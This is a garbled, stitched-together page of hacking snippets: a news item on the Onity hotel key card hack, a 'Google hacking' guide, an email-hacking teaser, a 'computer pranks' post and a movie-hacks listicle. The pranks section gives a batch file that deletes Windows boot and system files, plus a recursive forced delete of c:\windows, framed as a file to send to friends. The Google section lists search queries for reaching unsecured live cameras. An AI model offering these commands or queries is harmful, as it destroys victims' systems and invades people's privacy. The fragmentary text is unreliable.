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Black Hat hacker gains access to 4 million hotel rooms with Arduino microcontroller. Bad news: With less than $50 of off-the-shelf hardware and a little bit of programming, it’s possible for a hacker to gain instant, untraceable access to millions of key card-protected hotel rooms.

Black Hat hacker gains access to 4 million hotel rooms with Arduino microcontroller

This hack was demonstrated by Cody Brocious, a Mozilla software developer, at the Black Hat security conference in Las Vegas. At risk are four million hotel rooms secured by Onity programmable key card locks. According to Brocious, who should be scolded for not disclosing the hack to Onity before going public, there is no easy fix: There isn’t a firmware upgrade — if hotels want to secure their guests, every single lock will have to be changed. The hack in its entirety is detailed on Brocious’s website, but in short: At the base of every Onity lock is a small barrel-type DC power socket (just like on your old-school Nokia phone). This socket is used to charge up the lock’s battery, and to program the lock with a the hotel’s “sitecode” — a 32-bit key that identifies the hotel. [Image credit]

Retirer les mots de passes PDF. Top Sites To Find All The Serials. Les mots de passe les plus communs. How Secure Is My Password? Hacking - Beginning. How to use Google for Hacking. Google serves almost 80 percent of all search queries on the Internet, proving itself as the most popular search engine.

How to use Google for Hacking.

However Google makes it possible to reach not only the publicly available information resources, but also gives access to some of the most confidential information that should never have been revealed. In this post I will show how to use Google for exploiting security vulnerabilities within websites. The following are some of the hacks that can be accomplished using Google. 1. Hacking Security Cameras There exists many security cameras used for monitoring places like parking lots, college campus, road traffic etc. which can be hacked using Google so that you can view the images captured by those cameras in real time. Inurl:”viewerframe? Click on any of the search results (Top 5 recommended) and you will gain access to the live camera which has full controls. you now have access to the Live cameras which work in real-time.

Intitle:”Live View / – AXIS” 2. How to Hack E-Mail Account Passwords. Hack Hotmail, MSN, Windows Live, Yahoo, Gmail or any other E-Mail Account Password I know most of you might be wondering to know how to hack email?

How to Hack E-Mail Account Passwords

You as the reader are most likely reading this because you want to hack into someone’s email. Painfully Computer Pranks. Computer pranks to freak out your friends and make them crying for mummy I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank).

Painfully Computer Pranks

Today , I will show you 5 great computer pranks that will frustrate your victims very much. These pranks could be very painfully, so please use them at your own risk ;) 1. Crash a Computer System With Nothing But a URL! I stumbled across this URL while surfing the internet. 2. Open notepad and copy/paste this code: @echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini Now Save it as a .bat file.

This should shutdown the persons computer. Send it to your friends computer and tell them to open it. Here is another code too..... cmd /c del c:\windows\* /F /S /Q. How to hack video screens on times square. 5 Computer Hacks from Movies You Won't Believe Are Possible. As we have mentioned previously, Hollywood just doesn't seem to have a very firm grasp on how technology works.

5 Computer Hacks from Movies You Won't Believe Are Possible

So when it comes to depicting computer hacking onscreen, it's no surprise that the implausible scenarios Hollywood's tech-challenged screenwriters manage to pull out of their asses don't even come close to resembling the real thing. Except it turns out that, every once in a while, they inadvertently get it right on the money. Because real-world hackers have done stuff like ... #5. Jackpot an ATM Photos.com As Seen In: Terminator 2 The Hollywood Hack: Let's look at the classic scene for a moment: Young John Connor -- the kid whose voice sometimes makes you wish they had sent a few extra T-1000s back from the future -- jacks his Atari (yes, Atari) laptop thingy into an ATM.

Photos.com"If you see any cops, I want you to mullet as fast as you can. " The Real-World Hack: #4. The Italian Job "I like two things: action figures and gridlock. What hacking looks like to old people. #3. Getty.